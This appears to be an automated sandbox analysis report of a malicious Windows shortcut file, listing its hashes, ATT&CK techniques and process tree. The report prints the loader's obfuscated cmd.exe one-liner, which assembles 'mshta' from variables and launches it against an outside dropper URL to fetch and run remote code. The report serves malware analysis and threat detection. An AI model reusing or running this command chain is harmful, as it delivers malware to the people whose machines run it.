65f993a9757007264c756172fa5f83f4023197446c4fe205e5b7ef86ea9ad5aa

Analysis

max time kernel
148s
max time network
128s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
03/08/2026, 13:20

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General

Target
DOC-2XIS73.lnk
Size 1KB
Sample260803-qlft7sab44
SHA256 65f993a9757007264c756172fa5f83f4023197446c4fe205e5b7ef86ea9ad5aa
MD5 c54d952192f9f63f06dfb58f816370c9
SHA1 c63f454b9b4080d9ba1a9c761036f0dc9af74169
SHA512 7270fdd1f74ea36e308226209c23a2732570eb02fa5865638c6908d2408e43e3df8d3afa7274da89d33be134aedecaffde49da890609c4b509d2465c92162ea2
TLSH
T1DB3124502BF90654F3B78F7698FB5B2089BAB9568E20C61E4141464C5022A14E57AFAB
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://bro-pdffiller.lat/h/estagio1.php?r=360761F15794

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1272	cmd.exe
4372	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 1272 wrote to memory of 4372	1272	cmd.exe	91
PID 4372 wrote to memory of 4176	4372	cmd.exe	92

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-2XIS73.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1272
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /V:on /c "set Gah=msh&&set nlcqB=ta&&start "" !Gah!!nlcqB! https://bro-pdffiller.lat/h/estagio1.php?r=360761F15794"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4372
- - C:\Windows\System32\mshta.exe
    mshta https://bro-pdffiller.lat/h/estagio1.php?r=360761F15794
    3⤵
    PID:4176

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/4176-1-0x0000023B81650000-0x0000023B81D75000-memory.dmp

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